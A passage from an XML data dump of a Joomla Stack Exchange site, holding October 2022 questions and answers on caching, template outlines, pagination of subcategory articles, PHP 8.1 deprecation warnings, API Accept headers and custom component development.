slugs and fetch many articles, but you need to parse $results variable in your template override.&#xA;Mind that the code I've presented has no checks at all, but it builds basic playground to start with.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2022-10-13T19:03:04.143" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32478" PostTypeId="2" ParentId="25128" CreationDate="2022-10-15T18:41:59.307" Score="1" Body="&lt;p&gt;Are you using custom caching or built-in ? I've never had problems with component cache.&lt;/p&gt;&#xA;&lt;p&gt;I've put your snippet inside com_content and it worked despite cache was on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;You can delete all site cache via model:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_cache/models', 'Cache');&#xA;$model = JModelLegacy::getInstance('Cache', 'CacheModel');&#xA;$model-&amp;gt;clean();&#xA;//$model-&amp;gt;clean('_system'); SYSTEM_CACHE_ONLY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is equivalent to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JCache::getInstance('output', &#xA;            [&#xA;                'defaultgroup'=&amp;gt;'',             &#xA;                'cachebase' =&amp;gt; JPATH_SITE.'/cache' or JPATH_ADMINISTRATOR for admin cache&#xA;            ]);&#xA;$cache-&amp;gt;clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;System cache will rebuild _system as quick as you hit administrator area again :)&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="16651" LastEditDate="2022-10-15T19:03:40.157" LastActivityDate="2022-10-15T19:03:40.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32479" PostTypeId="2" ParentId="26502" CreationDate="2022-10-16T00:32:40.777" Score="1" Body="&lt;p&gt;In G5 template screen remove Joomla Articles Particle.&lt;/p&gt;&#xA;&lt;p&gt;The main content area is named 'Page Content' and it displays the &lt;strong&gt;current&lt;/strong&gt; menu item dynamic content, so 'article' or 'list of articles' (so called blog layout).&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your homepage should have menu item set to Article/Blog.&lt;/li&gt;&#xA;&lt;li&gt;Remove Joomla Articles Particle because it works like Joomla module. It will be visible forever under outline. Depends on assignment tab.&lt;/li&gt;&#xA;&lt;li&gt;Treat gantry particles AS &lt;strong&gt;modules&lt;/strong&gt; in Joomla and don't place them until you don't know them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The point here is that the entry point for dynamic content of components of Joomla is Page Content. The page content renders your &amp;quot;Menu Items&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Remove Joomla Articles Particle from gantry. I've never used that particle, but remember that there's only one place in Joomla for dynamic content. Any module/particle that tries to render pagination must be a component. (In theory, it might load data in async mode, but then it's just a module.)&lt;/p&gt;&#xA;&lt;p&gt;Choose between page content or Joomla articles particle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So for test purposes you may remove page content or Joomla articles, but you must not place Joomla articles in BASE OUTLINE.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The base outline is the most standard layout of your site, other layouts (outlines) are assigned via assignment tab. Usually base outline is cloned and inherited, then some parts of it are unlocked.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;In order to make your your homepage gantry-like you must create another outline for homepage, remove page content, put Joomla articles instead and test.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="12352" LastEditDate="2022-10-16T07:11:48.887" LastActivityDate="2022-10-16T07:11:48.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32480" PostTypeId="1" CreationDate="2022-10-17T06:50:59.243" Score="1" ViewCount="143" Body="&lt;p&gt;I am working with Joomla 4.2.2&lt;/p&gt;&#xA;&lt;p&gt;I have a custom script which i previously used in Joomla 3.*, from this i am sending mail using send-mail.&lt;/p&gt;&#xA;&lt;p&gt;For front it's working fine but on admin side it can not detect the current application (Admin Application) and it gives me the error -&amp;gt; Failed to start application.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NHDp3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHDp3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Exception&#xA;Exception:&#xA;Failed to start application&#xA;&#xA;  at /html/joomla/libraries/src/Factory.php:140&#xA;  at Joomla\CMS\Factory::getApplication()&#xA;     (/html/joomla/libraries/src/Mail/Mail.php:503)&#xA;  at Joomla\CMS\Mail\Mail-&amp;gt;isSendmail()&#xA;     (/html/joomla/libraries/src/Factory.php:682)&#xA;  at Joomla\CMS\Factory::createMailer()&#xA;     (/html/joomla/libraries/src/Factory.php:439)&#xA;  at Joomla\CMS\Factory::getMailer()&#xA;     (/html/joomla/administrator/invoiceCopy.php:698)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How i can set application globally as admin application while i use the admin environment.&lt;/p&gt;&#xA;" OwnerUserId="16588" LastEditorUserId="12652" LastEditDate="2022-10-17T14:28:31.380" LastActivityDate="2022-10-17T14:28:31.380" Title="HTTP 500 Whoops, looks like something went wrong. Failed to start application for Admin sendmail" Tags="|joomla-4.x|external-script|joomla-mail|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32481" PostTypeId="2" ParentId="32464" CreationDate="2022-10-17T07:37:56.570" Score="1" Body="&lt;p&gt;I realised that the solution was not to use the article array provided by Joomla but to create a new one...&lt;/p&gt;&#xA;&lt;p&gt;I created an array of the articles in the category, merged it with the arrays of articles in the subcategories. Then I recreated the pagination and applied the filter to the newly created array.&lt;/p&gt;&#xA;&lt;p&gt;Below is the code with these additions and changes.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Pagination\Pagination;&#xA;&#xA;// To add subcategories items to the list we need to make a new array of items, &#xA;// because the original one made by the component have already applied pagination and filter&#xA;&#xA;// Make a new items array of our category&#xA;$model = JModelList::getInstance('Articles', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;$appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;$model-&amp;gt;setState('filter.category_id', $this-&amp;gt;category-&amp;gt;id);&#xA;$model-&amp;gt;setState('filter.published', 1);&#xA;$this-&amp;gt;items = $model-&amp;gt;getItems();&#xA;$this-&amp;gt;total = count($this-&amp;gt;items);&#xA;$catItems = $model-&amp;gt;getItems();&#xA;$catItemsCount = count($this-&amp;gt;items);&#xA;&#xA;// Get subcategories items and merge them to category items&#xA;if ($this-&amp;gt;params-&amp;gt;get('show_subcats') != '0')&#xA;{&#xA;    $sub_categories = $this-&amp;gt;children[$this-&amp;gt;category-&amp;gt;id];&#xA;    foreach($sub_categories as $sub_category){&#xA;        $subcategory_model = JModelList::getInstance('Articles', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;        $appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;        $subcategory_model-&amp;gt;setState('params', $appParams);&#xA;        $subcategory_model-&amp;gt;setState('filter.category_id', $sub_category-&amp;gt;id);&#xA;        $subcategory_model-&amp;gt;setState('filter.published', 1);&#xA;        $subcategory_items = $subcategory_model-&amp;gt;getItems();&#xA;        $this-&amp;gt;items = array_merge($this-&amp;gt;items, $subcategory_items);&#xA;        $this-&amp;gt;total = count($this-&amp;gt;items);&#xA;    }&#xA;    // Sort new items by date&#xA;    usort($this-&amp;gt;items, function ($a, $b) {&#xA;        $order_date = ($this-&amp;gt;params-&amp;gt;get('order_date') == 'published') ? 'publish_up' : $this-&amp;gt;params-&amp;gt;get('order_date');&#xA;        return strtotime($b-&amp;gt;{$order_date}) - strtotime($a-&amp;gt;{$order_date});&#xA;    });&#xA;}&#xA;&#xA;// If the filter has been used, make a new array with only matching items&#xA;if (strlen($this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.filter'))) &amp;gt; 0){&#xA;    $filteredItems = [];&#xA;    foreach($this-&amp;gt;items as $item){&#xA;        $word = strtolower($this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.filter')));&#xA;        if (strpos(strtolower($item-&amp;gt;title), $word) !== false){&#xA;            array_push($filteredItems, $item);&#xA;        }&#xA;    }&#xA;    // Get the count of filtered articles from the category only (we need it for the &amp;quot;all&amp;quot; in the limitbox)&#xA;    $catItemsCount = 0;&#xA;    foreach($catItems as $item){&#xA;        $word = strtolower($this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.filter')));&#xA;        if (strpos(strtolower($item-&amp;gt;title), $word) !== false){&#xA;            $catItemsCount++;&#xA;        }&#xA;    }&#xA;    $this-&amp;gt;items = $filteredItems;&#xA;    $this-&amp;gt;total = count($this-&amp;gt;items);&#xA;}&#xA;&#xA;// Set limit and limitstart for pagination&#xA;$this-&amp;gt;pagination-&amp;gt;limitstart = ($_GET['start'] == '') ? $this-&amp;gt;pagination-&amp;gt;limitstart : $_GET['start'];&#xA;if ($this-&amp;gt;pagination-&amp;gt;limit &amp;gt; $this-&amp;gt;total){&#xA;    $this-&amp;gt;pagination-&amp;gt;limitstart = 0;&#xA;}&#xA;    //It's used when is selected &amp;quot;all&amp;quot; in the limitbox&#xA;if ($this-&amp;gt;pagination-&amp;gt;limit == $catItemsCount) {&#xA;    $this-&amp;gt;pagination-&amp;gt;limitstart = 0;&#xA;    $this-&amp;gt;pagination-&amp;gt;limit = 0;&#xA;}&#xA;&#xA;// Make a new pagination object&#xA;$this-&amp;gt;pagination = new Pagination($this-&amp;gt;total, $this-&amp;gt;pagination-&amp;gt;limitstart, $this-&amp;gt;pagination-&amp;gt;limit);&#xA;$limitstart = $this-&amp;gt;pagination-&amp;gt;limitstart;&#xA;$limit = $this-&amp;gt;pagination-&amp;gt;limit;&#xA;&#xA;//The list is ready to be printed ?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $article) : ?&amp;gt;&#xA;        &amp;lt;?php $this-&amp;gt;article = &amp;amp;$article; ?&amp;gt;&#xA;        &amp;lt;?php $this-&amp;gt;article-&amp;gt;counter = $i + 1; ?&amp;gt;&#xA;        &amp;lt;?php $max_results = $limitstart + $limit;?&amp;gt;&#xA;        &amp;lt;?php // Display only the result of the current page ?&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;article-&amp;gt;counter &amp;gt; $limitstart &amp;amp;&amp;amp; $this-&amp;gt;article-&amp;gt;counter &amp;lt;= $max_results) : ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;?php echo $article-&amp;gt;title; ?&amp;gt;&#xA;                // or everything you want to show of your articles&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16086" LastActivityDate="2022-10-17T07:37:56.570" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32482" PostTypeId="1" CreationDate="2022-10-17T09:34:00.143" Score="1" ViewCount="128" Body="&lt;p&gt;I have got a site running on AWS using Cloudfront which is caching the site.&lt;/p&gt;&#xA;&lt;p&gt;I've got browser and page cache enabled in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;However, when looking at the Response Headers, under cache control it's showing as &amp;quot;no-cache&amp;quot; and under &amp;quot;x-cache&amp;quot; it's showing as &amp;quot;Miss from cloudfront&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;It appears that Cloudfront is being told (by Joomla) to not cache the site.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on how I can control the headers? I've used 'Expires Headers' plugin but it's still not showing the cache.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MnyuK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MnyuK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2022-10-17T09:34:00.143" Title="How to change 'Response Headers &quot;cache-control&quot; '" Tags="|joomla-3.x|cache|cache-handler|header-tags|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32483" PostTypeId="1" CreationDate="2022-10-17T12:06:15.930" Score="1" ViewCount="2804" Body="&lt;p&gt;I have updated the PHP version from 8.0 to 8.1.0 and my Joomla version is 3.10.11. Now I am getting deprecated warning such as:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Deprecated: Joomla\Input\Input implements the Serializable&#xA;interface, which is deprecated. Implement __serialize() and&#xA;__unserialize() instead (or in addition, if support for old PHP versions is necessary)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Deprecated: Return type of Joomla\Input\Input::count() should&#xA;either be compatible with Countable::count(): int, or the&#xA;#[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have updated the modules and plugins, but am still getting those warnings. Have you faced such issues?  Is there a fixed version available? (I want to use the Joomla version 3.10.11 with PHP 8.1)&lt;/p&gt;&#xA;" OwnerUserId="14598" LastEditorUserId="12352" LastEditDate="2022-10-17T23:44:42.907" LastActivityDate="2022-10-18T00:29:06.923" Title="&quot;Deprecated: Joomla\Input\Input ...&quot; after upgrading PHP8.0 to PHP8.1 in Joomla 3.10.11" Tags="|php|deprecated|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32484" PostTypeId="2" ParentId="32483" CreationDate="2022-10-18T00:29:06.923" Score="5" Body="&lt;p&gt;Edit the file configuration.php and set Error Reporting to filter Deprecated messages:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'simple';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Check the behaviour of third party extensions in a test environment because they may have issues with PHP 8.1.&lt;/p&gt;&#xA;&lt;p&gt;The recommended version of PHP for Joomla 3.x is 8.0 - ref. &lt;a href=&quot;https://downloads.joomla.org/technical-requirements&quot; rel=&quot;noreferrer&quot;&gt;Joomla Technical Requirements&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16652" LastActivityDate="2022-10-18T00:29:06.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32485" PostTypeId="1" CreationDate="2022-10-18T13:06:16.107" Score="2" ViewCount="19" Body="&lt;p&gt;I like to unset my search filter that is saved in the user state.&lt;br/&gt;&#xA;I have a search input with id &lt;code&gt;filter_search&lt;/code&gt;&lt;br/&gt;&#xA;This is the code to save the filter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$context = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.search', 'filter_search');&#xA;$this-&amp;gt;setState('filter.search', $context);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now In another function I would like to unset this filter_search state.&lt;br/&gt;&#xA;How Do I do this?&lt;/p&gt;&#xA;&lt;p&gt;I already tried this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session = Factory::getSession();&#xA;$session-&amp;gt;clear('.filter.search', 'filter_search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setState('filter.search', &amp;quot;&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But my input field stays filled.&lt;/p&gt;&#xA;&lt;p&gt;This is my &lt;code&gt;filter_customers.xml&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&amp;quot;filter&amp;quot;&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;search&amp;quot; type=&amp;quot;text&amp;quot; hint=&amp;quot;COM_MYDESTINY_SEARCH_FILTER_SUBMIT&amp;quot; label=&amp;quot;COM_USERS_FILTER_SEARCH_DESC&amp;quot; class=&amp;quot;js-stools-search-string uk-search-input&amp;quot;/&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16663" LastActivityDate="2022-10-18T14:19:47.170" Title="Unset filter from user state" Tags="|session|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32486" PostTypeId="2" ParentId="32485" CreationDate="2022-10-18T14:19:47.170" Score="2" Body="&lt;p&gt;The solution I found was&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;setUserState($this-&amp;gt;context . '.filter.search', &amp;quot;&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The context can be changed so you can also change filters from different models&lt;/p&gt;&#xA;" OwnerUserId="16663" LastActivityDate="2022-10-18T14:19:47.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32487" PostTypeId="1" CreationDate="2022-10-19T10:16:42.477" Score="0" ViewCount="96" Body="&lt;p&gt;I get PHP errors as unhandled exceptions but I don't really see any information that can help me.  How can I troubleshoot this?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Unhandled exception - Joomla\CMS\Application\Exception\NotAcceptable&#xA;&#xA;A PHP Exception occurred on your site. Here you can find the stack trace:&#xA;Exception Type: Joomla\CMS\Application\Exception\NotAcceptable&#xA;File: /home/*****/public_html/libraries/src/Application/ApiApplication.php&#xA;Line: 264&#xA;Message: Could not match accept header &#xA;#0 /home/*****/public_html/libraries/src/Application/ApiApplication.php(107): Joomla\CMS\Application\ApiApplication-&amp;gt;route()&#xA;#1 /home/*****/public_html/libraries/src/Application/CMSApplication.php(294): Joomla\CMS\Application\ApiApplication-&amp;gt;doExecute()&#xA;#2 /home/*****/public_html/api/includes/app.php(53): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#3 /home/*****/public_html/api/index.php(31): require_once('/home/*****...')&#xA;#4 {main}&#xA;Request information&#xA;GET variables&#xA;Array&#xA;(&#xA;)&#xA;POST variables&#xA;Array&#xA;(&#xA;)&#xA;COOKIE variables&#xA;Array&#xA;(&#xA;)&#xA;REQUEST variables&#xA;Array&#xA;(&#xA;)&#xA;SERVER variables&#xA;Array&#xA;(&#xA;    [PATH] =&amp;gt; /usr/local/bin:/bin:/usr/bin&#xA;    [HTTP_CONNECTION] =&amp;gt; Keep-Alive&#xA;    [HTTP_HOST] =&amp;gt; www.*****.co.uk&#xA;    [HTTP_X_HTTPS] =&amp;gt; 1&#xA;    [DOCUMENT_ROOT] =&amp;gt; /home/*****/public_html&#xA;    [REMOTE_ADDR] =&amp;gt; *****&#xA;    [REMOTE_PORT] =&amp;gt; 12961&#xA;    [SERVER_ADDR] =&amp;gt; *****&#xA;    [SERVER_NAME] =&amp;gt; www.*****.co.uk&#xA;    [SERVER_ADMIN] =&amp;gt; webmaster@*****.co.uk&#xA;    [SERVER_PORT] =&amp;gt; 443&#xA;    [REQUEST_SCHEME] =&amp;gt; https&#xA;    [REQUEST_URI] =&amp;gt; /api/Probe&#xA;    [REDIRECT_URL] =&amp;gt; /api/Probe&#xA;    [REDIRECT_REQUEST_METHOD] =&amp;gt; GET&#xA;    [HTTPS] =&amp;gt; on&#xA;    [HTTP_AUTHORIZATION] =&amp;gt; &#xA;    [REDIRECT_STATUS] =&amp;gt; 200&#xA;    [SSL_PROTOCOL] =&amp;gt; TLSv1.2&#xA;    [SSL_CIPHER] =&amp;gt; ECDHE-RSA-AES256-SHA&#xA;    [SSL_CIPHER_USEKEYSIZE] =&amp;gt; 256&#xA;    [SSL_CIPHER_ALGKEYSIZE] =&amp;gt; 256&#xA;    [SCRIPT_FILENAME] =&amp;gt; /home/*****/public_html/api/index.php&#xA;    [QUERY_STRING] =&amp;gt; &#xA;    [SCRIPT_URI] =&amp;gt; https://www.*****.co.uk/api/Probe&#xA;    [SCRIPT_URL] =&amp;gt; /api/Probe&#xA;    [SCRIPT_NAME] =&amp;gt; /api/index.php&#xA;    [SERVER_PROTOCOL] =&amp;gt; HTTP/1.1&#xA;    [SERVER_SOFTWARE] =&amp;gt; LiteSpeed&#xA;    [REQUEST_METHOD] =&amp;gt; GET&#xA;    [X-LSCACHE] =&amp;gt; on,crawler&#xA;    [PHP_SELF] =&amp;gt; /api/index.php&#xA;    [REQUEST_TIME_FLOAT] =&amp;gt; 1666174375.9687&#xA;    [REQUEST_TIME] =&amp;gt; 1666174375&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-10-19T14:35:52.130" Title="PHP errors from ApiApplication" Tags="|php|error-handling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32488" PostTypeId="2" ParentId="32290" CreationDate="2022-10-19T10:18:24.457" Score="1" Body="&lt;p&gt;I managed to solve this by setting up the &lt;code&gt;myqsl_nd_pdo&lt;/code&gt; module in PHP&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-10-19T10:18:24.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32489" PostTypeId="2" ParentId="32487" CreationDate="2022-10-19T14:35:52.130" Score="1" Body="&lt;p&gt;Whatever you're using to make the request doesn't send the &lt;code&gt;Accept&lt;/code&gt; header. API application by default expects a request that accepts &lt;code&gt;application/vnd.api+json&lt;/code&gt; response. Specific routes may use different values. If you want to accept any type, use the catch-all &lt;code&gt;*/*&lt;/code&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-19T14:35:52.130" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32491" PostTypeId="2" ParentId="32455" CreationDate="2022-10-20T13:41:38.787" Score="0" Body="&lt;p&gt;The link works but Joomla 4 has no support for custom fields in modules. Otherwise it would appear in dropdown of com_fields.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2022-10-20T13:41:38.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32492" PostTypeId="1" CreationDate="2022-10-21T05:55:53.583" Score="0" ViewCount="19" Body="&lt;p&gt;I have published a new article, which is in a published category and menu that contain other published articles.&lt;/p&gt;&#xA;&lt;p&gt;The article, which is public, goes to a 404 error page. The url of the article is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tesep.org.au/quick-pd-extinction-events-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tesep.org.au/quick-pd-extinction-events-2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am a bit puzzled by this as the other articles have no problem loading.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have any solutions?&lt;/p&gt;&#xA;" OwnerUserId="16668" LastActivityDate="2022-10-21T05:55:53.583" Title="Newly published article does not load" Tags="|joomla-3.x|articles|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32493" PostTypeId="1" CreationDate="2022-10-21T15:08:32.800" Score="1" ViewCount="91" Body="&lt;p&gt;I've run into an odd issue where none of the back-end tabs are displaying in Chrome. This includes pages like Global Config, New Article, and New User. When I turn on System debug, the tabs display. If I turn it off, they disappear. This is only happening in Chrome and Edge, not in Firefox. Everything was working previously. Has anyone seen something similar before? There is nothing in the browser error console that points at a potential issue. I've combed through the site error logs and nothing is jumping out as a cause of the problem, either.&lt;/p&gt;&#xA;&lt;p&gt;Screenshots below depict the Add New Article screen with debug mode turned off, and then turned on, in the Chrome browser.&lt;/p&gt;&#xA;&lt;p&gt;Running Joomla 4.2.3 on PHP 8.0.24&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eznS8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eznS8.png&quot; alt=&quot;Debug turned off - no tabs visible&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1fV0E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1fV0E.png&quot; alt=&quot;Debug turned on - tabs visible&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2024-03-16T07:04:15.520" Title="Admin tabs not loading in Chrome" Tags="|joomla-4.x|administrator|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32494" PostTypeId="1" AcceptedAnswerId="32495" CreationDate="2022-10-22T08:15:38.877" Score="0" ViewCount="27" Body="&lt;p&gt;I've on the way to create my first native J4 Component by using Astrid's Tutorial (&lt;a href=&quot;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;) - I've already figured out that some of the code parts are not fully J4 conform, but i was able to &amp;quot;update&amp;quot; my code where it was needed (JForm usage for example).&lt;/p&gt;&#xA;&lt;p&gt;But on the step with the Multilingual Associations: Edit Associations i'm stuck. All is working so far an item can be associated when doing so from inside the component but when trying to use Components &amp;gt;&amp;gt; Multilingual Associations and go into the edit view of an item the page keeps reloading till the browser crashes.&lt;/p&gt;&#xA;&lt;p&gt;I've already tried 3 times to undo my changes added in this chapter and do it again without success. It might be just a silly mistake from my side somewhere in the codebase but what i've seen so far is that Astrid's Code examples are truly 1-1 based on the J3 solution and might not work in current J4.2 anymore?&lt;/p&gt;&#xA;&lt;p&gt;Can someone check my Repo and give me a hint what might be the problem of this &amp;quot;reloading&amp;quot; inside the Multilingual Associations Component. Branch (associations_implemented) Ready to install can be found here: &lt;a href=&quot;https://github.com/marcorensch/company_partners/tree/associations_implemented&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/company_partners/tree/associations_implemented&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2022-10-22T09:41:14.547" Title="Custom J4 Component Problems with Multilingual Associations: Edit Associations" Tags="|custom-component|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32495" PostTypeId="2" ParentId="32494" CreationDate="2022-10-22T09:41:14.547" Score="1" Body="&lt;p&gt;This is probably because your form view does not render the ID field. Associations script expects an input element with &lt;code&gt;jform_id&lt;/code&gt; ID and the ID of the content item as the value. Since you're using hardcoded field names, adding this to the layout should work for you:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;getForm()-&amp;gt;renderField('id'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can change field type in the form definition to &lt;code&gt;hidden&lt;/code&gt; if you don't want it to be visible to users.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-22T09:41:14.547" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32496" PostTypeId="1" CreationDate="2022-10-22T10:46:15.277" Score="1" ViewCount="120" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Component Code (not normalized) can be found here: &lt;a href=&quot;https://github.com/marcorensch/company_partners/tree/multi_cateogory&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For my First J4 Component i've now implemented Multi Cat Option by saving the selected categories into a comma separated list (text) into the database. On edit it works so far. In the &lt;strong&gt;List of Items&lt;/strong&gt; i would also like to show the selected Categories for each item. The queries i've tried so far are all not working.&#xA;Is it correct that for the &lt;em&gt;IN&lt;/em&gt; operator the comma-separated list has to be exploded inside the query, right? Unfortunately it is not working as expected because of my mmisunderstanding on how to correctly build a subquery for this task:&#xA;a table ==&amp;gt; #__extension&#xA;b table ==&amp;gt; #__categories&lt;/p&gt;&#xA;&lt;p&gt;a.categories contains comma separated list of id's from b table&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;a.id   | a.categories   |     | cats.id    | cats.title&#xA;------------------------      -------------------------&#xA;1      |1,2,3           |     | 1          | category A&#xA;2      |2,3             |     | 2          | category B&#xA;...                           | 3          | category C&#xA;                               ....&#xA;&#xA;// inside my getListQuery function of my Model:&#xA;&#xA;// Select the required fields from the table.&#xA;        $query-&amp;gt;select(&#xA;            $db-&amp;gt;quoteName(&#xA;                [&#xA;                    'a.id', 'a.name', 'a.alias', 'a.access',&#xA;                    'a.catid','a.categories','a.published', 'a.publish_up', 'a.publish_down',&#xA;                    'a.language'&#xA;                ]&#xA;            )&#xA;        );&#xA;&#xA;...&#xA;$categoriesSubQuery = $db-&amp;gt;getQuery(true)&#xA; -&amp;gt;select($db-&amp;gt;quoteName('cats.title'))&#xA; -&amp;gt;from($db-&amp;gt;quoteName('#__categories', 'cats'))&#xA; -&amp;gt;where( $db-&amp;gt;quoteName('cats.id') . ' IN (' . $db-&amp;gt;quoteName('a.categories') . ')');&#xA;&#xA;$query-&amp;gt;select('(' . $categoriesSubQuery . ') AS ' . 